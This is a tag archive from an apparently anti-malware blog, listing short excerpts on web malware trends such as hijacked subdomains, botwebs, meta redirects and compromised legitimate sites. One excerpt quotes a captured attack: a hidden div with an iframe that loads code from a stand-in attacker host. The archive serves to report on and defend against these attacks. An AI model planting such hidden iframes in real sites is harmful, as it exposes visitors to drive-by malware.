Tag Archives: trends

Why Finland has so little malware

Tim Rains from Microsoft’s Trustworthy Computing group recently posted an excellent series of short blog posts titled Lessons from Some of the Least Malware Infected Countries in the World. Tim asked local security experts in each of these countries why … Continue reading

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Hijacked subdomains still serving malware

Last month the Unmask Parasites blog wrote about attacks using hijacked sudomains of legitimate websites to serve badware.  At the time of that articles publication the attacks had been going on for a month already.  We are still seeing a … Continue reading

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AV vendors say most badware sites are compromised

A recent report from Symantec reinforces the idea that most web-based malware is distributed via compromised, legitimate sites: In 2010 so far, using the same approach, the proportion of malicious domains that are legitimate [i.e., set up for reasons other … Continue reading

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Interesting attacks from .NL addresses

I’m researching some new attacks that have been popping up on the BadwareBusters forum recently.     Attacks have the form: <div style="display:none">mhukhzwbanqawsrlyqptqnfmpiiigkr<iframe width=548 height=403 src="http:ATTACK.SITE:8080/index.php"></iframe></div> After reviewing the posts by our users I compiled the following list of attack … Continue reading

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Botweb using compromised Linux servers

Over at the Unmask Parasites blog, periodic BadwareBusters.org contributor Denis reports on a botweb (a term coined by our own Oliver Day) that he’s been investigating: What we see here is a long awaited botnet of zombie web servers! A … Continue reading

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Google Timer objects showing up in attack code

I have been seeing more attack javascript using google timer objects.  I’m not sure if this is to improve the reliability of the exploit but it is an interesting signature of the code.  I’ve included a sample below (spaces added): … Continue reading

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Recent web attack flawed, reducing effectiveness

Mary Landesman at ScanSafe recently reported a script injection attack, and Ryan Naraine picked up the story over on the Zero Day blog. While the initial report describes 55,000 web pages (not web sites as the Zero Day post states) … Continue reading

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Hiding an infection in an unused SSL site

Today we saw an interesting case where no one could find badware in a website that Google reported as infected—until Google tipped us off to check the site using https (i.e., instead of testing http://example.com, we tested https://example.com). Sure enough, … Continue reading

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Community member describes meta redirects

BadwareBusters.org community member Denis describes an emerging web-based malware attack over on his Unmask Parasites blog, and he is seeking additional information: I’ve discovered a new emerging malware attack today. Actually two attacks, but in this post I’ll review only … Continue reading

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Rise of Botwebs

 Botnets have been a fixture of the internet for many years. Their command and control structures have evolved greatly but their methods of propagation have largely gone unchanged. The recent advent of drive-by downloads have been part of a new … Continue reading

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